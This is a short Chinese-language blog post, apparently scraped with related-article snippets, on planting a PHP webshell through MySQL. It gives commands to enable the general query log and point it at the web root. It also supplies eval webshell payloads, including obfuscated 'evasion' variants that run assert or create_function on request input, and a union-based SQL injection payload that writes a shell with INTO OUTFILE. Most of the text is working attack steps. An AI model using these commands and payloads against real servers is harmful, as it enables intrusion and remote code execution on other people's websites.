Mysql 写shell

一、后台日志写shell

前提：

需要有root权限
outfile被禁止
文件写入被拦截

1、查看配置

是否开启写日志
日志写入路径

show variables like '%general%';

2、开启general log模式为on

set global general_log = on;

3、设置目录为shell地址

set global general_log_file = '/var/www/html';

4、写入shell

select '<?php eval($_POST[cmd])?>';

【注意】：sql免杀语句

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";

二、into_oufile读写文件

需求：找到网站的绝对路径

1、找出注入

2、写入shell

1' union select 1,2,'<?php @eval($_POST[darkid]);?>' into outfile '/var/www/hetml/shell.php?>' --+

Mysql 后台日志写shell（root权限）相关推荐

SQL语句利用日志写shell
outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global genera ...
linux mysql general_利用mysql general log 写shell 可行性简要分析
0×01 前言实际渗透过程中,我们很可能会遇到这样的情况,明明是正儿八经的mysql root权限,但实际利用into outfile写shell的时候,却怎么都写不进去,前提可以肯定的是,我们对目 ...
转adb Shell root 权限
永久root带文件因为开发需要,我经常会用到adb这个工具(Android Debug Bridge),我们都知道adb shell默认是没有root权限的,修改系统文件就很不方便了,adb pus ...
Mysql 创建新用户授予root权限或最高权限
普通创建用户普通用户创建成功后一般没权限,权限不足操作和查看数据库权限不足 > CREATE USER 'username'@'%' IDENTIFIED BY 'password'; > ...
解决adb shell root权限
adb shell默认是没有root权限的,修改系统文件就很不方便.有两种方法可以获取adb shell的root权限,这两种方法的前提都是手机已经root. 1.用su可以提权,直接执行su就会看到 ...
phpmyadmin通过日志写shell
1.查看general log是否开启 show variables like '%general%'; 打开general_log日志读写功能 SET GLOBAL general_log='on' ...
android 执行shell root权限,Android App 获取root权限后，执行shell命令
背景: 做一个应用,需求是获取root权限后可以停用/启用某些应用,包括系统应用!停用的应用将不在设置-->应用中展示,大部分系统自带的桌面应该也不会再显示! 如果是用menifest.xml中 ...
Debian9 安装MySQL 以及普通用户获得root权限安装sudo
点击看原文转载于:https://www.cnblogs.com/Neil223/p/10375344.html
insert into user mysql root_跳过授权表登录后使用insert into创建root权限用户
起因: 刚刚搭建好的mysql数据库,做基础优化时,不小心把所有用户都删除了,并且退出了.没办法,只好跳过授权表登录,新建root用户. 过程如下: 一.停掉mysql,跳过授权登录 [root@ex ...

Mysql 后台日志写shell（root权限）

Mysql 写shell

一、后台日志写shell

二、into_oufile读写文件

Mysql 后台日志写shell（root权限）相关推荐

最新文章

热门文章